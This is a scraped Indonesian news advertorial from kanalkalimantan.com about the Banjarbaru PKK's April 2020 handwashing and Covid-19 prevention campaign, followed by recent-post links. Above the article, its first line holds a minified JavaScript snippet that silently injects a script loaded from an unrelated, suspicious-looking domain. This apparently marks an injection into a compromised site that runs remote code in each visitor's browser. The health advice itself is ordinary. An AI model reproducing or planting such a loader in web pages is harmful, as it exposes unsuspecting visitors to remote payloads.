(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV PEMKO BANJARBARU

PKK Banjarbaru Kampanye Gerakan Cuci Tangan Pakai Sabun


KANALKALIMANTAN.COM, BANJARBARU – Kampanye gerakan cuci tangan pakai sabun kembali digalakkan. Dilakukan dalam rangka gerakan masyarakat hidup bersih dan sehat agar menjaga diri dan keluarga supaya terhindar dari penyebaran Covid-19.

Kampanye gerakan cuci tangan pakai sabun dilakukan Ketua Tim Penggerak PKK Kota Banjarbaru Hj Ririen Nadjmi Adhani didampingi Sekretaris TP PKK Kota Banjarbaru Dra Sri Lailana dan pengurus TP PKK Kota Banjarbaru, Sabtu (4/4/2020).

Ketua TP PKK Kota Banjarbaru Hj Ririen Nadjmi Adhani mengimbau pencegahan penularan Covid-19 melalui protokol keluar rumah diantaranya diharapkan bisa memakai jaket atau baju lengan panjang, dan tidak perlu memakai aksesoris seperti gelang cincin kalung ataupun anting khususnya bagi perempuan,

“Kalau mau pakai masker, pakai sebelum keluar rumah dan masker yang kita pakai adalah masker yang diolah sendiri, jangan kita memakai masker medis, karena masker sangat diperlukan oleh para perawat,” ujarnya.

Ketua PKK Banjarbaru melihat langsung pembuatan masker produksi rumah tangga. foto: humpro banjarbaru

Sekarang masker sangat sulit dicari lebih baik memanfaatkan kain untuk diolah sebagai masker dan bisa dicuci kembali. “Karena kita tidak sakit hanya mencegah agar terhindar dari virus. Usahakan untuk tidak menggunakan alat transportasi umum kalau kita berpergian lebih baik pakai kendaraan sendiri saja dan pakai tisu di jari kalau ingin menyentuh permukaan apapun itu,” bebernya.

Kampanye gerakan cuci tangan pakai sabun dilakukan Ketua Tim Penggerak PKK Kota Banjarbaru Hj Ririen Nadjmi Adhani. Foto: humpro banjarbaru

“Jika kita batuk atau bersin lakukan etika yang benar dengan menggunakan siku bagian dalam atau tutup dengan tisu,” lanjutnya.

Usahakan juga saat bertransaksi secara non tunai atau kalau menerima uang usahakan cuci tangan dengan sabun.

“Jangan menyentuh wajah kita kalau tangan belum benar-benar bersih lakukan cuci tangan dengan menggunakan hand sanitizer, setelah menyentuh benda atau permukaan apapun kalau tidak ada hand sanitizer kita bisa mencuci tangan menggunakan sabun dengan air mengalir. Dan yang terpenting selalu jaga jarak aman dengan orang lain minimal 1 meter,” beber Ririen.

Selain melakukan kampanye gerakan cuci tangan pakai sabun, Hj Ririen Nadjmi Adhani berkunjung ke Dasawisma Jeruk Kelurahan Loktabat Selatan, sekaligus membagikan masker, peralatan cuci tangan, spanduk dan pamflet protokol keluar masuk rumah untuk pencegahan Covid-19. (kanalkalimantan.com/rico/adv)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

7 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.